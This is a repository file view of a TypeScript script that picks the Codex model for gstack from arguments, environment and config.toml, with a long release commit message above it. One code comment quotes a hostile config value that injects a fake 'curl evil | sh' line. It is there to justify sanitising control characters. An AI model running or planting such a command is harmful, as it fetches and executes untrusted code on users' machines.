Files
gstack/scripts/resolve-codex-generation-model.ts
T
ac20ef1e13 v1.91.16.0 fix: safe installs and upgrades, skills start everywhere, truthful completion (parallel wave) (#3014)
* fix(make-pdf,design): real TOC page numbers and anchors; design models move to gpt-5.5 + gpt-image-2 (#2903, #2807)

* ci: pin every action to a SHA, Scorecard, checksummed Bun, scoped Codex CLI in the CI image, macOS named-regressions job (#1948, #1706, #1997)

* fix(cso,browse): Windows/macOS lease identity, retention skips bad runs, truthful 'not assessed' reports, env.kv false positive, Windows browse spawn fixes (#2894, #2912, #2048, #2637, #2805)

* fix(outside-voice): one Codex model precedence for probe and dispatch, bounded timeouts with KILL escalation, probe cache identity, guarded mktemp, skills hidden in nested Codex (#2776, #2914, #2787, #2881, #2847)

* feat(setup): install registry, ./setup --status, staged activation, per-scope migrations, host tiers and conformance kit, OpenCode/Hermes fixes, Copilot CLI (experimental), disabled_skills, slimmer CLAUDE.md (#1925, #2879, #2347, #2338, #2626, #2629, #2825, #2015, #393, #1206, #2096)

Co-authored-by: Andrey Esipov <61357035+andrey-esipov@users.noreply.github.com>
Co-authored-by: Matthew Williams <5863886+ridermw@users.noreply.github.com>
Co-authored-by: Rocky Wu <92764750+lolisaigao1234@users.noreply.github.com>

* fix(preamble): skills start in worktree-isolated Claude Code sessions — one literal skill-start line, context-recovery helper, no eval in skill blocks, $N token tripwire, honest plan-mode precedence (#2763, #2896, #2851)

* fix(setup): per-install renders for renamed, vendored and custom-config installs, space-safe alias roots, per-host /cso launcher path (#1882, #2906)

* test: free tests never write the real HOME (home-write tripwire), no orphaned browse daemons, symlinked-TMPDIR (macOS) fixes, gbrain-on-PATH isolation (#2895, #2816, #2829, #2841, #2982, #2911, #2909, #2908, #2910)

* chore: integrate wave follow-ups — regenerate all hosts, README model docs, TODOS, touchfiles, duration seeds, Bun 1.3 telemetry test fix, replay fixtures pinned to their recorded bytes

* v1.91.14.0: release metadata

* test(browse): group-kill cleanup falls back to the leader when macOS returns EPERM for a live group

* ci: Codex login steps run under bash (the CI container's default sh rejects pipefail)

* fix: full-suite repairs — private state roots for 7 real-HOME writers, truthful home-guard attribution with --attribute-home, gstack-paths shim in ship-hook fixtures, Copilot in team-init probes, test-of-test detector, cookie review fixture pinned to the approved excerpt

* fix(windows): LF for Dockerfiles, normalized home-guard exclusions, path.relative fixture containment, ship push test spawn timeouts

* test(design-detect): widen the whole-scan budget test's timing margins so a loaded macOS runner can't time out the single-batch call

* fix(evals): qa protocol names defined for the judge, async PTY judge so overlapping sessions keep their cleanup deadline, bws setup cases use the standard JUDGE_MS tier

* test(pty): the non-blocking judge case is POSIX-only (its fake judge is a shebang script, like the PTY harness it covers)

* test(evals): ship-coverage-audit names absolute skill paths, uses Read, and skips the Step 7 artifact nothing consumes (removes the mechanism behind 3 of 4 historical timeouts)

* test: deflake terminal-agent concurrent startup (write the placeholder record before spawning, like the product) and qa-evidence resumed pipe (barrier on a full high-water mark instead of a sleep)

* fix(design): daemon log stream handles open errors instead of crashing the daemon; shutdown test awaits the stubbed exit

* test(evals): skillify checks the product's resolved state root (no GSTACK_HOME bypass), negative cases check every root; tpa shims live outside the agent's cwd and answer consistently

* test(evals): coverage-audit detector splits parallel columns at │ rails and [+] groups; coverage prompts name absolute skill paths; TODOs from the gate eval census

* fix(plan-eng-review): scope gate always sends the menu (no headless 'Scope pending' exit); PTY harness ends idle turn-ends and API-error panels promptly with a precise diagnostic

* test(evals): one position-bound coverage-read rule credits read-only && chains (labels, context ranges, git displays in either order) and still rejects forged output

* fix(ship): documentation section has one saved source inserted by cat (never retyped); spawned-marker evidence is the child output; refreshed codex/factory ship goldens

* test(docsync): the byte-exact insert positive is POSIX-only (the bash-command observer refuses backslash paths by design)

* test(evals): plan-design-with-ui focus-title rule accepts the comma-less 'dimensions or focus' wording (replayed on the captured CI run, negative controls kept)

* fix(qa-callers): exploratory preflight says the scope/method Reads come after exploratory.md; design-review scan check credits an executed scan proven by one engine run over the changed files

---------

Co-authored-by: Andrey Esipov <61357035+andrey-esipov@users.noreply.github.com>
Co-authored-by: Matthew Williams <5863886+ridermw@users.noreply.github.com>
Co-authored-by: Rocky Wu <92764750+lolisaigao1234@users.noreply.github.com>
2026-10-03 07:54:09 -07:00

216 lines
8.8 KiB
TypeScript

#!/usr/bin/env bun
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
export interface CodexGenerationModelResolution {
model: Model;
source: string;
warnings: string[];
}
const CODEX_DEFAULT_MODEL: Model = 'gpt-6-astra';
const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_MODEL})`;
/**
* Strip control characters from strings that originate in the user's
* config.toml or environment before they reach warning/stdout text. A hostile
* config value like `model = "x\nERROR: run curl evil | sh"` must not be able
* to inject fake lines into setup's terminal output or desync the TSV stdout
* contract. Warning interpolations additionally cap length for display.
*/
function stripControl(value: string): string {
// eslint-disable-next-line no-control-regex
return value.replace(/[\x00-\x1f\x7f]/g, ' ');
}
function sanitize(value: string): string {
return stripControl(value).slice(0, 200);
}
export function resolveCodexGenerationModel(opts: {
explicit?: string;
codexHome?: string;
home?: string;
} = {}): CodexGenerationModelResolution {
if (opts.explicit !== undefined) {
const model = resolveModel(opts.explicit);
if (!model) {
throw new Error(
`Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`,
);
}
return { model, source: '--model', warnings: [] };
}
// os.homedir() falls back to USERPROFILE on Windows and never returns '' —
// a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex',
// letting a repo-committed .codex/config.toml (CWD-resolved) select the
// behavioral profile.
const home = opts.home ?? process.env.HOME ?? os.homedir();
const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex');
const configPath = path.join(codexHome, 'config.toml');
const warnings: string[] = [];
const fallback = (warning?: string): CodexGenerationModelResolution => {
if (warning) warnings.push(warning);
return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings };
};
if (!path.isAbsolute(codexHome)) {
return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
let raw: string;
try {
raw = fs.readFileSync(configPath, 'utf8');
} catch (error) {
const code = (error as NodeJS.ErrnoException).code;
if (code !== 'ENOENT') {
return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
return fallback();
}
let parsed: Record<string, unknown>;
try {
parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
} catch {
return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) {
return fallback();
}
if (typeof parsed.model !== 'string') {
return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
const model = resolveModel(parsed.model);
if (!model) {
return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
// Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit
// its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently
// family-mapping to generic gpt is unobservable — surface it.
if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') {
warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`);
}
return { model, source: configPath, warnings };
}
export type CodexInvocationKind = 'exec' | 'review';
export interface CodexRuntimeModelSelection {
kind: CodexInvocationKind;
/** Raw Codex model id, passed unchanged to the probe and to dispatch. */
model: string;
source: string;
}
/** Characters a model id may carry before it is interpolated into `-c "model=\"…\""`. */
export const CODEX_RUNTIME_MODEL_PATTERN = /^[A-Za-z0-9._:/-]{1,100}$/;
const REPAIR = 'Choose a model your Codex account can use: name it for this request, set GSTACK_CODEX_MODEL=<model>, or set model in the Codex config.toml.';
/**
* Runtime model for gstack-owned Codex calls (#2914). Unlike the generation
* resolver above, this returns the user's raw model id (no prompt-overlay
* mapping), so ids without a dedicated overlay still work. Precedence: explicit
* request, GSTACK_CODEX_MODEL, Codex config.toml (`review_model` first for native
* review, then the legacy active profile's model, then `model`), then gstack's
* default. Any invalid user choice throws a repair message instead of falling
* back to the default.
*/
export function resolveCodexRuntimeModel(opts: {
kind: CodexInvocationKind;
explicit?: string;
env?: Record<string, string | undefined>;
codexHome?: string;
home?: string;
}): CodexRuntimeModelSelection {
const env = opts.env ?? process.env;
const chosen = (source: string, raw: string): CodexRuntimeModelSelection => {
const model = raw.trim();
if (!CODEX_RUNTIME_MODEL_PATTERN.test(model)) {
throw new Error(`Invalid Codex model '${sanitize(raw)}' from ${sanitize(source)}: use 1-100 characters from A-Z a-z 0-9 . _ : / -. ${REPAIR}`);
}
return { kind: opts.kind, model, source: stripControl(source) };
};
if (opts.explicit) return chosen('explicit request', opts.explicit);
if (env.GSTACK_CODEX_MODEL) return chosen('GSTACK_CODEX_MODEL', env.GSTACK_CODEX_MODEL);
const home = opts.home ?? env.HOME ?? os.homedir();
const codexHome = opts.codexHome ?? env.CODEX_HOME ?? path.join(home, '.codex');
if (!path.isAbsolute(codexHome)) {
throw new Error(`CODEX_HOME '${sanitize(codexHome)}' is not an absolute path, so its config.toml model cannot be read. ${REPAIR}`);
}
const configPath = path.join(codexHome, 'config.toml');
let raw: string;
try {
raw = fs.readFileSync(configPath, 'utf8');
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
return { kind: opts.kind, model: CODEX_DEFAULT_MODEL, source: `gstack default (no ${stripControl(configPath)})` };
}
throw new Error(`Could not read ${sanitize(configPath)}. ${REPAIR}`);
}
let parsed: Record<string, unknown>;
try {
parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
} catch {
throw new Error(`Could not parse ${sanitize(configPath)}. ${REPAIR}`);
}
const profileName = typeof parsed.profile === 'string' ? parsed.profile : undefined;
const profiles = parsed.profiles as Record<string, Record<string, unknown> | undefined> | undefined;
const profile = profileName && typeof profiles === 'object' ? profiles?.[profileName] : undefined;
const candidates: Array<[string, unknown]> = [
...(opts.kind === 'review' ? [[`${configPath} review_model`, parsed.review_model] as [string, unknown]] : []),
[`${configPath} [profiles.${profileName}].model`, profile?.model],
[`${configPath} model`, parsed.model],
];
for (const [source, value] of candidates) {
if (value === undefined) continue;
if (typeof value !== 'string') throw new Error(`${sanitize(source)} is not a string. ${REPAIR}`);
return chosen(source, value);
}
return { kind: opts.kind, model: CODEX_DEFAULT_MODEL, source: `gstack default (no model in ${stripControl(configPath)})` };
}
function readArg(name: string): string | undefined {
const exact = process.argv.indexOf(name);
if (exact >= 0) return process.argv[exact + 1];
const prefix = `${name}=`;
const joined = process.argv.find(arg => arg.startsWith(prefix));
return joined?.slice(prefix.length);
}
if (import.meta.main) {
try {
const runtime = readArg('--runtime');
if (runtime !== undefined) {
if (runtime !== 'exec' && runtime !== 'review') throw new Error('Usage: --runtime exec|review [--explicit <model>]');
const selection = resolveCodexRuntimeModel({ kind: runtime, explicit: readArg('--explicit') });
process.stdout.write(`${selection.model}\t${selection.source}\n`);
process.exit(0);
}
const result = resolveCodexGenerationModel({
explicit: readArg('--explicit'),
codexHome: readArg('--codex-home'),
});
for (const warning of result.warnings) {
process.stderr.write(`warning: ${warning}\n`);
}
// model is always an ALL_MODEL_NAMES literal; source is control-stripped
// so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract.
process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`);
} catch (error) {
process.stderr.write(`${(error as Error).message}\n`);
process.exit(1);
}
}